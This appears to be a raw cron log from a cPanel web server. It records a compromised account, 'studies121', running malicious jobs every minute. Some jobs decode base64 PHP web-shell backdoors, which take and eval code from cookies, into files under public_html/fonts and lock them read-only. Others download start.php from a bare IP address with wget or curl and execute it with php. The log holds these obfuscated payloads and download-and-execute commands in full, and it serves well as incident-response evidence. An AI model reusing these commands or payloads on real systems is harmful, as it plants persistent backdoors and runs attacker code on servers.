Aug 31 09:50:02 ip-184-168-122-23 CROND[7586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:50:02 ip-184-168-122-23 CROND[7587]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 09:51:01 ip-184-168-122-23 CROND[7702]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:51:01 ip-184-168-122-23 CROND[7704]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:51:01 ip-184-168-122-23 CROND[7706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:51:01 ip-184-168-122-23 CROND[7709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:52:01 ip-184-168-122-23 CROND[7828]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:52:01 ip-184-168-122-23 CROND[7829]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 09:52:01 ip-184-168-122-23 CROND[7830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:52:01 ip-184-168-122-23 CROND[7831]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:52:01 ip-184-168-122-23 CROND[7832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:53:01 ip-184-168-122-23 CROND[7971]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:53:01 ip-184-168-122-23 CROND[7973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:53:01 ip-184-168-122-23 CROND[7975]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:53:01 ip-184-168-122-23 CROND[7974]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:54:01 ip-184-168-122-23 CROND[8182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:54:01 ip-184-168-122-23 CROND[8184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:54:01 ip-184-168-122-23 CROND[8186]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:54:01 ip-184-168-122-23 CROND[8192]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:54:01 ip-184-168-122-23 CROND[8191]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 09:55:01 ip-184-168-122-23 CROND[8300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:55:01 ip-184-168-122-23 CROND[8301]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:55:01 ip-184-168-122-23 CROND[8303]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 09:55:01 ip-184-168-122-23 CROND[8302]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:55:01 ip-184-168-122-23 CROND[8304]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:55:01 ip-184-168-122-23 CROND[8306]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 09:56:01 ip-184-168-122-23 CROND[8425]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:56:01 ip-184-168-122-23 CROND[8428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:56:01 ip-184-168-122-23 CROND[8429]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 09:56:01 ip-184-168-122-23 CROND[8426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:56:01 ip-184-168-122-23 CROND[8430]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:57:01 ip-184-168-122-23 CROND[8547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:57:01 ip-184-168-122-23 CROND[8548]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:57:01 ip-184-168-122-23 CROND[8549]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:57:01 ip-184-168-122-23 CROND[8550]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:58:01 ip-184-168-122-23 CROND[8657]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:58:01 ip-184-168-122-23 CROND[8659]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 09:58:01 ip-184-168-122-23 CROND[8660]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:58:01 ip-184-168-122-23 CROND[8662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:58:01 ip-184-168-122-23 CROND[8661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:59:01 ip-184-168-122-23 CROND[8845]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:59:01 ip-184-168-122-23 CROND[8848]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:59:01 ip-184-168-122-23 CROND[8847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:59:01 ip-184-168-122-23 CROND[8849]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:00:01 ip-184-168-122-23 CROND[8972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:00:01 ip-184-168-122-23 CROND[8973]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 10:00:01 ip-184-168-122-23 CROND[8976]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Aug 31 10:00:01 ip-184-168-122-23 CROND[8977]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 10:00:01 ip-184-168-122-23 CROND[8984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:00:01 ip-184-168-122-23 CROND[8981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:00:01 ip-184-168-122-23 CROND[8982]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 10:00:01 ip-184-168-122-23 CROND[8983]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 10:00:01 ip-184-168-122-23 CROND[8986]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:01:01 ip-184-168-122-23 CROND[9130]: (root) CMD (run-parts /etc/cron.hourly)
Aug 31 10:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[9130]: starting 0anacron
Aug 31 10:01:01 ip-184-168-122-23 CROND[9136]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:01:01 ip-184-168-122-23 CROND[9141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:01:01 ip-184-168-122-23 CROND[9137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:01:01 ip-184-168-122-23 CROND[9138]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 10:01:01 ip-184-168-122-23 CROND[9139]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[9149]: finished 0anacron
Aug 31 10:02:01 ip-184-168-122-23 CROND[9238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:02:02 ip-184-168-122-23 CROND[9242]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:02:02 ip-184-168-122-23 CROND[9244]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:02:02 ip-184-168-122-23 CROND[9245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
